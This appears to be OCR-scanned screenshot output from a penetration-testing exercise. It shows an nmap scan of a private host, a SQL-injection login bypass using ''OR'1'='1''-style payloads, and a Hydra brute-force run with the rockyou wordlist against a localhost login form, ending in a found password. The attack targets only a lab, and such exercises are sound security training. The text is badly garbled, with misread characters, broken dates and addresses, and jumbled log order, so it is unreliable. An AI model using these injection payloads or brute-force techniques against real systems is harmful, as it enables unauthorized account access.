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NrapD#®R  fi-bamak FR0Y- mAMER A5y EE
nrnap -sT -5 152.168.40.160

Starting Hmap 7.92 ( https:sinmap.org ) at 2824-89-84 12:56 22232 (W772)
Nmap scan report for 192.168.48. 168

Host is up (@.08871s latency).

Hot shown: 996 filtered tcp ports (no-response)

PORT STATE SERYICE VYERSION

21/ tcp open ftp veftpd 2.3.4

22/tcp  open ssh Open5SH 9. 7pl Debian 7 (protocol 2.8}
g@/tcp open http fApache httpd 2.4.54 {({Debian}))

3389/tcp open ms-uwbt-server Microsoft Terminal Service

MAL Address: @2:22:7C:77:1E:65 (Unknown)

service Info: 05s: Unix, Linux, Windows; CPE: cpe:/fo:linux:linux_kernel,

service detection performed.
Nmap done: 1 IF address (1 host up) scanned in 57.24 seconds

cpe: formicrosoftwindows

Please report any incorrect results at https:sinmap.orgisubmits

‘k)gin:

|| ringo

[ login |

"OR'T'

‘password: || sssssssssse |‘
1 —1 1 4

'OR'1'="1

login success: ringoyour id: 12345

[DATA] attacking
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
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[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[ATTEMPT] target
[80][

localhost - login "ringo" - pass "123456"
localhost - login "ringo" - pass "12345"
localhost - login "ringo" - pass "123456789"
localhost - login "ringo" - pass
localhost - login "ringo" - pass "iloveyou"
localhost - login "ringo" - pass "princess"
localhost - login "ringo" - pass "1234567"
localhost - login "ringo" - pass "rockyou"
localhost - login "ringo" - pass
localhost - login "ringo" - pass "abc123"
localhost - login "ringo" - pass "nicole"
localhost - login "ringo" - pass "daniel"
localhost - login "ringo" - pass
localhost - login "ringo" - pass "monkey"
localhost - login "ringo" - pass "lovely"
localhost - login "ringo" - pass "jessica"

1 host: login: password:

[STATUS] attack finished for localhost (valid pair found)
1 of 1 target successfully completed,
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-08 01:59:27

1 valid password found

- 16 of 14344399 [child 15]

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-08 01:59:25

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (1:1/p: 1434&399)
http-post-form: //localhost:80/login/auth.php:login="USER"&password="PASS"
- 1 of 14344399 [child 0] (@/0)
- 2 of 14344399 [child 1] (@/0)
- 3 of 14344399 [child 2]
"password" - 4 of 14344399 [child 3] (0/0)
- 5 of 14344399 [child 4] (e/@)
- 6 of 14344399 [child 5] (0/@)
- 7 of 14344399 [child 6] (@/0)
- 8 of 14344399 [child 7] (@/0)

~896525 tries per task
:login failure

(0/0)

"12345678" - 9 of 14344399 [child 8] (@/@)
- 10 of 14344399 [child 9] (@/@)
- 11 of 14344399 [child 10] (0/0)
- 12 of 14344399 [child 11] (e/@)
"babygirl" - 13 of 14344399 [child 12] (e/0)
- 14 of 14344399 [child 13] (e/e)
- 15 of 14344399 [child 14] (e/@)

(0/0)
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